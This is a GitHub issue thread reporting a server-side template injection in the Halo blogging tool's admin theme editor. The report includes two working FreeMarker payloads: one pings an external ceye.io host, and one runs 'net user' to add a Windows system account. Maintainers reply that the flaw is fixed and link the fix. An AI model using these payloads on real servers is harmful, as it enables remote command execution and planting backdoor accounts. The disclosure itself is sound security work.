halo-dev / halo

强大易用的开源建站工具。
https://www.halo.run
GNU General Public License v3.0
33.93k stars 9.68k forks source link

unsafe template file permissions edit cause Server Side Template Injection(SSTI) #440

Closed c0d1007 closed 4 years ago

c0d1007 commented 4 years ago

我确定我已经查看了 (标注[ ][x])


我要申请 (标注[ ][x])

Testing environment

java version:1.8.0_181 os system: windows server ip address:192.168.126.136

Vulnerability Test

Simple test

access address http://192.168.126.136:8090/admin/ and login in the backstage.Click exterior(外观) and select theme editor(主题编辑). Select any one of the template files,such as "page-top.ftl". Then edit the file and insert a template statement like this.

payload-1

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ping ggggga.2xxxxxj.ceye.io") }

image

Save the file and refresh home page,and then ceye platform can receive a message

image

Execute system command

also edit "page-top.ftl" to execute system command to add system user.

payload-2

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("net user security security /add") }

image

save the file again and refresh home page again.Then will add user in the system

image

Remark

Because the preview does not display the picture properly when editing the issus, you can visit my github project(https://github.com/c0d1007/exploit) and view the picture.

Solution

Template files can only be edited locally, or check the file input

JohnNiang commented 4 years ago

This issue seems to be fixed here https://github.com/halo-dev/halo/issues/419 .

c0d1007 commented 4 years ago

Has the vulnerability been fixed?

c0d1007 commented 4 years ago

Can i find you in halo qq group, i want to know how to fix it?Because i used your blog.

JohnNiang commented 4 years ago

Can i find you in halo qq group, i want to know how to fix it?Because i used your blog.

https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c

But halo has not been released the newest version.

c0d1007 commented 4 years ago

ok,thank you.

JohnNiang commented 4 years ago

ok,thank you.

But you have to test it before using.